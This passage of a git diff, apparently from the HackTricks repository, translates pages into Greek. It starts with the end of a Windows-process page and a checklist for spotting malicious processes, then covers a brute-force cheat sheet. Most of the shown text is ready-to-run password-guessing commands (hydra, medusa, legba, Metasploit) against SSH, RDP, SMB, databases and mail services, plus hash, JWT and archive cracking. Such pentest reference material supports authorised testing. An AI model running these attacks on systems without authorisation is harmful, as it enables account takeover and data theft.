λογισμικού**. ## wininit.exe -**Windows Initialization Process**. \ -It launches **services.exe**, **lsass.exe**, and **lsm.exe** in Session 0. There should only be 1 process. +**Διαδικασία Αρχικοποίησης Windows**. \ +Εκκινεί **services.exe**, **lsass.exe** και **lsm.exe** στη Συνεδρία 0. Θα πρέπει να υπάρχει μόνο 1 διαδικασία. ## userinit.exe -**Userinit Logon Application**.\ -Loads the **ntduser.dat in HKCU** and initialises the **user** **environment** and runs **logon** **scripts** and **GPO**. +**Εφαρμογή Σύνδεσης Userinit**.\ +Φορτώνει το **ntduser.dat στο HKCU** και αρχικοποιεί το **περιβάλλον** **χρήστη** και εκτελεί **σενάρια** **σύνδεσης** και **GPO**. -It launches **explorer.exe**. +Εκκινεί το **explorer.exe**. ## lsm.exe -**Local Session Manager**.\ -It works with smss.exe to manipulate user sessions: Logon/logoff, shell start, lock/unlock desktop, etc. +**Διαχειριστής Τοπικής Συνεδρίας**.\ +Δουλεύει με το smss.exe για να χειριστεί τις συνεδρίες χρηστών: Σύνδεση/αποσύνδεση, εκκίνηση κελύφους, κλείδωμα/ξεκλείδωμα επιφάνειας εργασίας, κ.λπ. -After W7 lsm.exe was transformed into a service (lsm.dll). +Μετά το W7, το lsm.exe μετατράπηκε σε υπηρεσία (lsm.dll). -There should only be 1 process in W7 and from them a service running the DLL. +Θα πρέπει να υπάρχει μόνο 1 διαδικασία στο W7 και από αυτές μια υπηρεσία που εκτελεί τη DLL. ## services.exe -**Service Control Manager**.\ -It **loads** **services** configured as **auto-start** and **drivers**. +**Διαχειριστής Ελέγχου Υπηρεσιών**.\ +Φορτώνει **υπηρεσίες** που έχουν ρυθμιστεί ως **αυτόματη εκκίνηση** και **οδηγούς**. -It's the parent process of **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** and many more. +Είναι η γονική διαδικασία του **svchost.exe**, **dllhost.exe**, **taskhost.exe**, **spoolsv.exe** και πολλών άλλων. -Services are defined in `HKLM\SYSTEM\CurrentControlSet\Services` and this process maintains a DB in memory of service info that can be queried by sc.exe. +Οι υπηρεσίες ορίζονται στο `HKLM\SYSTEM\CurrentControlSet\Services` και αυτή η διαδικασία διατηρεί μια βάση δεδομένων στη μνήμη με πληροφορίες υπηρεσιών που μπορούν να ερωτηθούν από το sc.exe. -Note how **some** **services** are going to be running in a **process of their own** and others are going to be **sharing a svchost.exe process**. +Σημειώστε πώς **ορισμένες** **υπηρεσίες** θα εκτελούνται σε **δική τους διαδικασία** και άλλες θα **μοιράζονται μια διαδικασία svchost.exe**. -There should only be 1 process. +Θα πρέπει να υπάρχει μόνο 1 διαδικασία. ## lsass.exe -**Local Security Authority Subsystem**.\ -It's responsible for the user **authentication** and create the **security** **tokens**. It uses authentication packages located in `HKLM\System\CurrentControlSet\Control\Lsa`. +**Υποσύστημα Τοπικής Ασφάλειας**.\ +Είναι υπεύθυνο για την **αυθεντικοποίηση** του χρήστη και τη δημιουργία των **ασφαλιστικών** **token**. Χρησιμοποιεί πακέτα αυθεντικοποίησης που βρίσκονται στο `HKLM\System\CurrentControlSet\Control\Lsa`. -It writes to the **Security** **event** **log** and there should only be 1 process. +Γράφει στο **ημερολόγιο** **ασφαλείας** και θα πρέπει να υπάρχει μόνο 1 διαδικασία. -Keep in mind that this process is highly attacked to dump passwords. +Λάβετε υπόψη ότι αυτή η διαδικασία είναι πολύ επιρρεπής σε επιθέσεις για την εξαγωγή κωδικών πρόσβασης. ## svchost.exe -**Generic Service Host Process**.\ -It hosts multiple DLL services in one shared process. +**Γενική Διαδικασία Φιλοξενίας Υπηρεσιών**.\ +Φιλοξενεί πολλαπλές υπηρεσίες DLL σε μία κοινή διαδικασία. -Usually, you will find that **svchost.exe** is launched with the `-k` flag. This will launch a query to the registry **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** where there will be a key with the argument mentioned in -k that will contain the services to launch in the same process. +Συνήθως, θα διαπιστώσετε ότι το **svchost.exe** εκκινείται με την παράμετρο `-k`. Αυτό θα εκκινήσει ένα ερώτημα στο μητρώο **HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost** όπου θα υπάρχει ένα κλειδί με το επιχείρημα που αναφέρεται στο -k που θα περιέχει τις υπηρεσίες που θα εκκινηθούν στην ίδια διαδικασία. -For example: `-k UnistackSvcGroup` will launch: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` +Για παράδειγμα: `-k UnistackSvcGroup` θα εκκινήσει: `PimIndexMaintenanceSvc MessagingService WpnUserService CDPUserSvc UnistoreSvc UserDataSvc OneSyncSvc` -If the **flag `-s`** is also used with an argument, then svchost is asked to **only launch the specified service** in this argument. +Εάν η **παράμετρος `-s`** χρησιμοποιείται επίσης με ένα επιχείρημα, τότε ζητείται από το svchost να **εκκινήσει μόνο την καθορισμένη υπηρεσία** σε αυτό το επιχείρημα. -There will be several processes of `svchost.exe`. If any of them is **not using the `-k` flag**, then that's very suspicious. If you find that **services.exe is not the parent**, that's also very suspicious. +Θα υπάρχουν πολλές διαδικασίες του `svchost.exe`. Εάν καμία από αυτές **δεν χρησιμοποιεί την παράμετρο `-k`**, τότε αυτό είναι πολύ ύποπτο. Εάν διαπιστώσετε ότι **services.exe δεν είναι η γονική διαδικασία**, αυτό είναι επίσης πολύ ύποπτο. ## taskhost.exe -This process act as a host for processes running from DLLs. It also loads the services that are running from DLLs. +Αυτή η διαδικασία λειτουργεί ως φιλοξενούσα για διαδικασίες που εκτελούνται από DLLs. Φορτώνει επίσης τις υπηρεσίες που εκτελούνται από DLLs. -In W8 this is called taskhostex.exe and in W10 taskhostw.exe. +Στο W8 αυτό ονομάζεται taskhostex.exe και στο W10 taskhostw.exe. ## explorer.exe -This is the process responsible for the **user's desktop** and launching files via file extensions. +Αυτή είναι η διαδικασία που είναι υπεύθυνη για την **επιφάνεια εργασίας του χρήστη** και την εκκίνηση αρχείων μέσω επεκτάσεων αρχείων. -**Only 1** process should be spawned **per logged on user.** +**Μόνο 1** διαδικασία θα πρέπει να δημιουργείται **ανά χρήστη που έχει συνδεθεί.** -This is run from **userinit.exe** which should be terminated, so **no parent** should appear for this process. +Αυτό εκτελείται από το **userinit.exe** το οποίο θα πρέπει να τερματιστεί, έτσι **κανένας γονέας** δεν θα πρέπει να εμφανίζεται για αυτή τη διαδικασία. -# Catching Malicious Processes +# Ανίχνευση Κακόβουλων Διαδικασιών -- Is it running from the expected path? (No Windows binaries run from temp location) -- Is it communicating with weird IPs? -- Check digital signatures (Microsoft artifacts should be signed) -- Is it spelled correctly? -- Is running under the expected SID? -- Is the parent process the expected one (if any)? -- Are the children processes the expecting ones? (no cmd.exe, wscript.exe, powershell.exe..?) +- Εκτελείται από την αναμενόμενη διαδρομή; (Καμία δυαδική Windows δεν εκτελείται από προσωρινή τοποθεσία) +- Επικοινωνεί με περίεργες IP; +- Ελέγξτε τις ψηφιακές υπογραφές (τα αρχεία της Microsoft θα πρέπει να είναι υπογεγραμμένα) +- Είναι σωστά γραμμένο; +- Εκτελείται υπό την αναμενόμενη SID; +- Είναι η γονική διαδικασία η αναμενόμενη (αν υπάρχει); +- Είναι οι διαδικασίες παιδιών οι αναμενόμενες; (κανένα cmd.exe, wscript.exe, powershell.exe..?) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/brute-force.md b/src/generic-hacking/brute-force.md index 9b2faa122..3da895f72 100644 --- a/src/generic-hacking/brute-force.md +++ b/src/generic-hacking/brute-force.md @@ -1,18 +1,10 @@ # Brute Force - CheatSheet -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - {{#include ../banners/hacktricks-training.md}} ## Default Credentials -**Search in google** for default credentials of the technology that is being used, or **try these links**: +**Αναζητήστε στο google** για προεπιλεγμένα διαπιστευτήρια της τεχνολογίας που χρησιμοποιείται, ή **δοκιμάστε αυτούς τους συνδέσμους**: - [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet) - [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html) @@ -27,12 +19,11 @@ Get Access Today: - [**https://many-passwords.github.io/**](https://many-passwords.github.io) - [**https://theinfocentric.com/**](https://theinfocentric.com/) -## **Create your own Dictionaries** +## **Δημιουργήστε τα δικά σας Λεξικά** -Find as much information about the target as you can and generate a custom dictionary. Tools that may help: +Βρείτε όσο το δυνατόν περισσότερες πληροφορίες σχετικά με τον στόχο και δημιουργήστε ένα προσαρμοσμένο λεξικό. Εργαλεία που μπορεί να βοηθήσουν: ### Crunch - ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst) @@ -43,36 +34,30 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars ^ Special characters including spac crunch 6 8 -t ,@@^^%% ``` - ### Cewl - ```bash cewl example.com -m 5 -w words.txt ``` - ### [CUPP](https://github.com/Mebus/cupp) -Generate passwords based on your knowledge of the victim (names, dates...) - +Δημιουργήστε κωδικούς πρόσβασης με βάση τις γνώσεις σας για το θύμα (ονόματα, ημερομηνίες...) ``` python3 cupp.py -h ``` - ### [Wister](https://github.com/cycurity/wister) -A wordlist generator tool, that allows you to supply a set of words, giving you the possibility to craft multiple variations from the given words, creating a unique and ideal wordlist to use regarding a specific target. - +Ένα εργαλείο δημιουργίας λιστών λέξεων, που σας επιτρέπει να παρέχετε ένα σύνολο λέξεων, δίνοντάς σας τη δυνατότητα να δημιουργήσετε πολλές παραλλαγές από τις δεδομένες λέξεις, δημιουργώντας μια μοναδική και ιδανική λίστα λέξεων για χρήση σχετικά με έναν συγκεκριμένο στόχο. ```bash python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst - __ _______ _____ _______ ______ _____ - \ \ / /_ _|/ ____|__ __| ____| __ \ - \ \ /\ / / | | | (___ | | | |__ | |__) | - \ \/ \/ / | | \___ \ | | | __| | _ / - \ /\ / _| |_ ____) | | | | |____| | \ \ - \/ \/ |_____|_____/ |_| |______|_| \_\ +__ _______ _____ _______ ______ _____ +\ \ / /_ _|/ ____|__ __| ____| __ \ +\ \ /\ / / | | | (___ | | | |__ | |__) | +\ \/ \/ / | | \___ \ | | | __| | _ / +\ /\ / _| |_ ____) | | | | |____| | \ \ +\/ \/ |_____|_____/ |_| |______|_| \_\ - Version 1.0.3 Cycurity +Version 1.0.3 Cycurity Generating wordlist... [########################################] 100% @@ -80,10 +65,9 @@ Generated 67885 lines. Finished in 0.920s. ``` - ### [pydictor](https://github.com/LandGrey/pydictor) -### Wordlists +### Λίστες Λέξεων - [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) - [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -96,20 +80,11 @@ Finished in 0.920s. - [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager) - [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists) -
+## Υπηρεσίες -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Services - -Ordered alphabetically by service name. +Ταξινομημένες αλφαβητικά κατά όνομα υπηρεσίας. ### AFP - ```bash nmap -p 548 --script afp-brute msf> use auxiliary/scanner/afp/afp_login @@ -119,114 +94,84 @@ msf> set PASS_FILE msf> set USER_FILE msf> run ``` - ### AJP - ```bash nmap --script ajp-brute -p 8009 ``` - -## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace) - +## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM και Solace) ```bash legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl] ``` - -### Cassandra - +### Κασσάνδρα ```bash nmap --script cassandra-brute -p 9160 # legba ScyllaDB / Apache Casandra legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042 ``` - ### CouchDB - ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` - ### Docker Registry - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` - ### Elasticsearch - ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` - ### FTP - ```bash hydra -l root -P passwords.txt [-t 32] ftp ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp legba ftp --username admin --password wordlists/passwords.txt --target localhost:21 ``` - -### HTTP Generic Brute +### HTTP Γενικό Brute #### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -### HTTP Basic Auth - +### HTTP Βασική Αυθεντικοποίηση ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ # Use https-get mode for https medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/ ``` - ### HTTP - NTLM - ```bash legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/ ``` - ### HTTP - Post Form - ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V # Use https-post-form mode for https ``` +Για το http**s** πρέπει να αλλάξετε από "http-post-form" σε "**https-post-form**" -For http**s** you have to change from "http-post-form" to "**https-post-form"** - -### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle - +### **HTTP - CMS --** (W)ordpress, (J)oomla ή (D)rupal ή (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com # Check also https://github.com/evilsocket/legba/wiki/HTTP ``` - ### IMAP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p legba imap --username user --password data/passwords.txt --target localhost:993 ``` - ### IRC - ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` - ### ISCSI - ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` - ### JWT - ```bash #hashcat hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt @@ -249,33 +194,25 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w #https://github.com/lmammino/jwt-cracker jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` - ### LDAP - ```bash nmap --script ldap-brute -p 389 legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match ``` - ### MQTT - ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt ``` - -### Mongo - +### Μόνγκο ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login legba mongodb --target localhost:27017 --username root --password data/passwords.txt ``` - ### MSSQL [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) - ```shell # Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt @@ -296,9 +233,7 @@ mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt ```bash legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433 ``` - ### MySQL - ```bash # hydra hydra -L usernames.txt -P pass.txt mysql @@ -312,9 +247,7 @@ medusa -h -u -P <-f | to stop medusa on fir #Legba legba mysql --username root --password wordlists/passwords.txt --target localhost:3306 ``` - ### OracleSQL - ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -338,21 +271,15 @@ nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid= legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt ``` - -In order to use **oracle_login** with **patator** you need to **install**: - +Για να χρησιμοποιήσετε το **oracle_login** με το **patator** πρέπει να **εγκαταστήσετε**: ```bash pip3 install cx_Oracle --upgrade ``` - -[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): - +[Offline OracleSQL hash bruteforce](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**εκδόσεις 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** και **11.2.0.3**): ```bash - nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 +nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` - ### POP - ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V @@ -363,9 +290,7 @@ legba pop3 --username admin@example.com --password wordlists/passwords.txt --tar # SSL legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl ``` - ### PostgreSQL - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres @@ -375,109 +300,81 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432 ``` - ### PPTP -You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) - +Μπορείτε να κατεβάσετε το πακέτο `.deb` για εγκατάσταση από [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) ```bash sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` - ### RDP - ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain ] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon] ``` - ### Redis - ```bash msf> use auxiliary/scanner/redis/redis_login nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl] ``` - ### Rexec - ```bash hydra -l -P rexec:// -v -V ``` - ### Rlogin - ```bash hydra -l -P rlogin:// -v -V ``` - ### Rsh - ```bash hydra -L rsh:// -v -V ``` - [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) ### Rsync - ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` - ### RTSP - ```bash hydra -l root -P passwords.txt rtsp ``` - ### SFTP - ```bash legba sftp --username admin --password wordlists/passwords.txt --target localhost:22 # Try keys from a folder legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` - ### SNMP - ```bash msf> use auxiliary/scanner/snmp/snmp_login nmap -sU --script snmp-brute [--script-args snmp-brute.communitiesdb= ] onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` - ### SMB - ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup ] [--smb-share ] ``` - ### SMTP - ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` - ### SOCKS - ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt # With alternative address legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080 ``` - ### SQL Server - ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -486,9 +383,7 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` - ### SSH - ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -498,38 +393,32 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost # Try keys from a folder legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22 ``` +#### Αδύναμα κλειδιά SSH / Προβλέψιμος PRNG Debian -#### Weak SSH keys / Debian predictable PRNG +Ορισμένα συστήματα έχουν γνωστά ελαττώματα στον τυχαίο σπόρο που χρησιμοποιείται για τη δημιουργία κρυπτογραφικού υλικού. Αυτό μπορεί να έχει ως αποτέλεσμα μια δραματικά μειωμένη περιοχή κλειδιών που μπορεί να παραβιαστεί με εργαλεία όπως το [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Προγεννημένα σύνολα αδύναμων κλειδιών είναι επίσης διαθέσιμα όπως το [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced with tools such as [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Pre-generated sets of weak keys are also available such as [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). - -### STOMP (ActiveMQ, RabbitMQ, HornetQ and OpenMQ) - -The STOMP text protocol is a widely used messaging protocol that **allows seamless communication and interaction with popular message queueing services** such as RabbitMQ, ActiveMQ, HornetQ, and OpenMQ. It provides a standardized and efficient approach to exchange messages and perform various messaging operations. +### STOMP (ActiveMQ, RabbitMQ, HornetQ και OpenMQ) +Το πρωτόκολλο κειμένου STOMP είναι ένα ευρέως χρησιμοποιούμενο πρωτόκολλο μηνυμάτων που **επιτρέπει την απρόσκοπτη επικοινωνία και αλληλεπίδραση με δημοφιλείς υπηρεσίες ουρών μηνυμάτων** όπως το RabbitMQ, ActiveMQ, HornetQ και OpenMQ. Παρέχει μια τυποποιημένη και αποδοτική προσέγγιση για την ανταλλαγή μηνυμάτων και την εκτέλεση διαφόρων λειτουργιών μηνυμάτων. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` - -### Telnet - +### Τελνέτ ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet legba telnet \ - --username admin \ - --password wordlists/passwords.txt \ - --target localhost:23 \ - --telnet-user-prompt "login: " \ - --telnet-pass-prompt "Password: " \ - --telnet-prompt ":~$ " \ - --single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin +--username admin \ +--password wordlists/passwords.txt \ +--target localhost:23 \ +--telnet-user-prompt "login: " \ +--telnet-pass-prompt "Password: " \ +--telnet-prompt ":~$ " \ +--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin ``` - ### VNC - ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -544,41 +433,29 @@ use auxiliary/scanner/vnc/vnc_login set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` - ### Winrm - ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` +## Τοπικά -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} - -## Local - -### Online cracking databases +### Διαδικτυακές βάσεις δεδομένων cracking - [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) -- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value) -- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) +- [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 με/χωρίς ESS/SSP και με οποιαδήποτε τιμή πρόκλησης) +- [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, και αρχεία MSOffice, ZIP, PDF...) - [https://crackstation.net/](https://crackstation.net) (Hashes) - [https://md5decrypt.net/](https://md5decrypt.net) (MD5) -- [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes) +- [https://gpuhash.me/](https://gpuhash.me) (Hashes και hashes αρχείων) - [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes) - [https://www.cmd5.org/](https://www.cmd5.org) (Hashes) - [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512) - [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) - [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Check this out before trying to brute force a Hash. +Δείτε αυτό πριν προσπαθήσετε να κάνετε brute force σε ένα Hash. ### ZIP - ```bash #sudo apt-get install fcrackzip fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip @@ -594,12 +471,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` +#### Γνωστή επίθεση με απλό κείμενο zip -#### Known plaintext zip attack - -You need to know the **plaintext** (or part of the plaintext) **of a file contained inside** the encrypted zip. You can check **filenames and size of files contained inside** an encrypted zip running: **`7z l encrypted.zip`**\ -Download [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)from the releases page. - +Πρέπει να γνωρίζετε το **απλό κείμενο** (ή μέρος του απλού κειμένου) **ενός αρχείου που περιέχεται μέσα** στο κρυπτογραφημένο zip. Μπορείτε να ελέγξετε **τα ονόματα αρχείων και το μέγεθος των αρχείων που περιέχονται μέσα** σε ένα κρυπτογραφημένο zip εκτελώντας: **`7z l encrypted.zip`**\ +Κατεβάστε [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)από τη σελίδα εκδόσεων. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -611,9 +486,7 @@ zip plaintext.zip plaintext.file ./bkcrack -C -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd unzip unlocked.zip #User new_pwd as password ``` - ### 7z - ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -624,9 +497,7 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` - ### PDF - ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w 